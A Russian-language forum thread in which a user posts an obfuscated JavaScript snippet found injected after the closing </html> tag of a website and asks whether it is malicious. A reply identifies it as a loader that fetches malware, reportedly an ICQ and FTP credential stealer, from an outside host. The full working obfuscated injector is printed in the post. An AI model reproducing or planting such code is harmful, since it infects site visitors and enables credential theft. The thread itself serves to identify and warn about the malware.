Подозрительный JavaScript

S
На сайте с 28.10.2005
Offline
311
386

Выловил на одном сайте, шел в конце страницы за </html>


<!--<S>--><script>try {var zm='rr2rg2rq2rl2rW2re2rm2rT2rR2rF2rJ2rA2rx2rO2ro2r72ri2rS2rh2r82rn2rN2rf2ra2rI2rU2rd2rb2rk2rV2rX2rw2rM2rD2rj2r32rp2rP2rH2r42r92rs2rL2rz2rY2rB2rc2rK2rt2rZ2r62rC2r52ry2gr2gg2gq2gl2gW2ge2gm2gT2gR2gF2gJ2gA2gx2gO2go2g72gi';var gs=String('2'),ZN=Array(30718^30571,20369^20299,1753^1555,Gz('219'),Gz('192'),26254^26199,816^1005,24432^24569,Gz('197'),8269^8325,31158^31089,9177^8983,Gz('220'),21557^21753,Gz('148'),Gz('139'),Gz('195'),17162^17365,23878^24017,Gz('164'),Gz('163'),25798^25695,19899^19747,15307^15193,Gz('135'),26525^26459,Gz('208'),Gz('196'),Gz('207'),23613^23739,27426^27619,Gz('129'),Gz('205'),1445^1383,Gz('209'),Gz('230'),17867^17737,Gz('128'),Gz('132'),13845^14023,16778^16665,10911^10775,Gz('150'),8311^8321,Gz('242'),Gz('247'),15040^14867,32749^32637,16101^15889,Gz('133'),Gz('245'),Gz('236'),14679^14783,13038^12837,31810^31913,Gz('222'),32371^32409,Gz('212'),24174^24309,23811^23961,Gz('157'),1837^1969,29400^29255,Gz('158'),5192^5337,Gz('228'),Gz('131'),11570^11743,31016^31189,11691^11589,303^469);var OX,nN;var SQ,eh='rrrgrqrlrWrermrTrRrFrJrArxrFrArOror7rirFrSrFrgrqrlrWrermr7rhr8rnrSrFrlrTrqrJrTrorTr7rgrlrNrRrRrNrfr7rar8rnrSrFrlrTrqrSrTrorTr7rfr7rar8rnrSrFrlrTrgrOrTrorTr7rgrfrIrlrUrRrRrgrdrgrmrOrbrgrIrWrJrkrUr7rar8rnrSrFrlrTrerTrorTr7rVrXrmrbrRrVr7rar8rnrWrkrwrMrUrqrxrbrOrJrmrIrqrUrUrDrWrOrIrWrJrMrOrjr3rkrwrqrJrpr7ror7rprqrSrPrTrororTrHrfrPr8rnr4r8rnrSrFrlrTrxrlrRrTrorTr7rXrmrmrer9rVrVr7rTrprTrwrMrUrqrxrbrOrJrmrIrRrUrqrFrmrWrUrJrIrXrUrgrmrTrsrorTr7r7rTrLrTr7r7rTr9rTrlrgrdrgrzrlrgrwrPrPrTrprTrMrUrqrxrbrOrJrmrIrRrUrqrFrmrWrUrJrIrXrUrgrmrIrlrOrerRrFrqrOrwrVrYrBrFrHrcrNrHrKrIrHrtrVrZrTr7rIr7rPrIrlrOrerRrFrqrOrwrVr6rIrprVrZrTr7rIr7rPrTrprTr7rIr7rTrprTrlrgrdrgrzrlrgrwrPrTrprTr7rIr7rTrprTrgrOrTrprTrerar8rnr8rnrSrFrlrTrUrTrorTrMrUrqrxrbrOrJrmrIrqrlrOrFrmrOrCrRrOrbrOrJrmrwr7rWrkrlrFrbrOr7rPrarUrIrgrOrmr5rmrmrlrWryrxrmrOrwr7rgrlrqr7rZrTrxrlrRrPrar8rnrUrIrkrlrFrbrOgrrUrlrMrOrlrorNrarTrUrIggrWrMrmrXrorfrarTrUrIrXrOrWrArXrmrorfrarTrUrIrgrmrdrRrOrIrMrWrgrerRrFrdror7rJrUrJrOr7rarTr8rnrmrlrdrTr4rTrMrUrqrxrbrOrJrmrIryrUrMrdrIrFrererOrJrMgqrXrWrRrMrwrUrPrarTrlrgrdrgrzrgrqrwrqrJrZrqrSrPraglr8rnrqrFrmrqrXrwrOrPr4r8rnrMrUrqrxrbrOrJrmrIggrlrWrmrOrwr7rrrXrmrbrRrhrrryrUrMrdrhrrrVryrUrMrdrhrrrVrXrmrbrRrhr7rPrar8rnrMrUrqrxrbrOrJrmrIryrUrMrdrIrFrererOrJrMgqrXrWrRrMrwrUrPrarTrlrgrdrgrzrgrqrwrqrJrZrqrSrPrar8rnglr8rnglr8rnrkrxrJrqrmrWrUrJrTrlrgrdrgrzrlrgrwrPr4rTrSrFrlrTrRrogWgWrZrqror7rNrfgWgegmgTgRgFgJrKrNrFryrqrMrOrkr7rZrUror7r7rarTrkrUrlrwrWrorNrarTrWrTrrrTrRrarTrWrprprPrTrUrTrprorTrqrIrgrxryrgrmrlrwgArFrmrXrIrkrRrUrUrlrwgArFrmrXrIrlrFrJrMrUrbrwrPgxrqrIrRrOrJrArmrXrPrZrfrZrfrPrarTrlrOrmrxrlrJrTrUrarTglr8rnrkrxrJrqrmrWrUrJrTrlrgrdrgrzrgrqrwrqrJrZrqrSrPr4rTrSrFrlrTrmrorTrJrOggrTgOrFrmrOrwrPrarTrSrFrlrTrOrorTrJrOggrTgOrFrmrOrwrPrarTrOrIrgrOrmgorWrbrOrwrmrIrArOrmgorWrbrOrwrPrpgegRrNrNrNrNrNgxgWgmrPrarTrMrUrqrxrbrOrJrmrIrqrUrUrDrWrOrTrorTrqrJrpr7ror7rprOrgrqrFrerOrwrqrSrPrpr7rarOrjrerWrlrOrgror7rprOrIrmrUg7gAgogirmrlrWrJrArwrPrarTglr8rnrrrVrgrqrlrWrermrh';var xO=String();function Gz(FY){return parseInt(FY)}zm=zm.split(gs);for(OX=0;OX<eh.length;OX+=2){SQ=eh.substr(OX,2);for(nN=0;nN<zm.length;nN++){if(zm[nN]==SQ)break;} xO+=String.fromCharCode(ZN[nN]^169);}document.write(xO);}
catch(e){}</script><!--</S>-->

Что это? Похоже на вирусню

S
На сайте с 28.10.2005
Offline
311
#1

Ага, тов. Dinozavr, разобрался (этот сайт был одним из подозреваемых), подгружает с s1.rollsystems.info вирусню и судя по симптомам это тот самый пресловутый асько- и FTPкрад

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий